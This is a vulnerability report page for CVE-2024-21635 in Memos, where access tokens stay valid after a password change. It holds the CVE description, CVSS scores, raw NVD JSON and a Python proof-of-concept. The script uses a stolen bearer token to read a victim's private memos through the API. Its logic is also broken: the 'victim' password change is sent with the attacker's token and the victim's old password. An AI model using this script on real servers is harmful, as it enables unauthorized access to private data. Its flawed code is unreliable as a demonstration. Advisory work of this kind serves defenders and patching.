Security Vulnerability Report
中文
CVE-2024-21635 CVSS 7.5 HIGH

CVE-2024-21635

Published: 2025-11-14 15:15:49
Last Modified: 2025-11-26 16:05:50

Description

Memos is a privacy-first, lightweight note-taking service that uses Access Tokens to authenticate application access. When a user changes their password, the existing list of Access Tokens stay valid instead of expiring. If a user finds that their account has been compromised, they can update their password. In versions up to and including 0.18.1, though, the bad actor will still have access to their account because the bad actor's Access Token stays on the list as a valid token. The user will have to manually delete the bad actor's Access Token to secure their account. The list of Access Tokens has a generic Description which makes it hard to pinpoint a bad actor in a list of Access Tokens. A known patched version of Memos isn't available. To improve Memos security, all Access Tokens will need to be revoked when a user changes their password. This removes the session for all the user's devices and prompts the user to log in again. One can treat the old Access Tokens as "invalid" because those Access Tokens were created with the older password.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:usememos:memos:*:*:*:*:*:*:*:* - VULNERABLE
Memos <= 0.18.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-21635 PoC - Memos Access Token After Password Change # This PoC demonstrates the vulnerability where access tokens remain valid after password change import requests import json TARGET_URL = "http://target-memos-server.com" ATTACKER_TOKEN = "attacker_obtained_access_token" VICTIM_PASSWORD = "old_password" NEW_PASSWORD = "new_password" def exploit(): """ Step 1: Attacker obtains a valid access token (e.g., via phishing or session hijacking) """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 2: Victim changes password (thinking this will kick out attacker) change_password_data = { "oldPassword": VICTIM_PASSWORD, "newPassword": NEW_PASSWORD } response = requests.post( f"{TARGET_URL}/api/v1/user/password", headers=headers, json=change_password_data ) if response.status_code == 200: print("[+] Password changed successfully") print("[+] Victim thinks account is now secure") # Step 3: Attacker still has access with old token (VULNERABILITY) attacker_headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Try to access victim's data with old token after password change response = requests.get( f"{TARGET_URL}/api/v1/memo", headers=attacker_headers ) if response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Attacker still has access after password change!") print(f"[!] Attacker can read private memos: {response.text}") return True else: print("[-] Token was properly revoked (not vulnerable)") return False if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-21635", "sourceIdentifier": "[email protected]", "published": "2025-11-14T15:15:48.840", "lastModified": "2025-11-26T16:05:49.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memos is a privacy-first, lightweight note-taking service that uses Access Tokens to authenticate application access. When a user changes their password, the existing list of Access Tokens stay valid instead of expiring. If a user finds that their account has been compromised, they can update their password. In versions up to and including 0.18.1, though, the bad actor will still have access to their account because the bad actor's Access Token stays on the list as a valid token. The user will have to manually delete the bad actor's Access Token to secure their account. The list of Access Tokens has a generic Description which makes it hard to pinpoint a bad actor in a list of Access Tokens. A known patched version of Memos isn't available. To improve Memos security, all Access Tokens will need to be revoked when a user changes their password. This removes the session for all the user's devices and prompts the user to log in again. One can treat the old Access Tokens as \"invalid\" because those Access Tokens were created with the older password."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:usememos:memos:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.18.1", "matchCriteriaId": "E1D1EFD1-55BD-42B2-A420-EF7C1F9453CA"}]}]}], "references": [{"url": "https://github.com/usememos/memos/security/advisories/GHSA-mr34-8733-grr2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/usememos/memos/security/advisories/GHSA-mr34-8733-grr2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}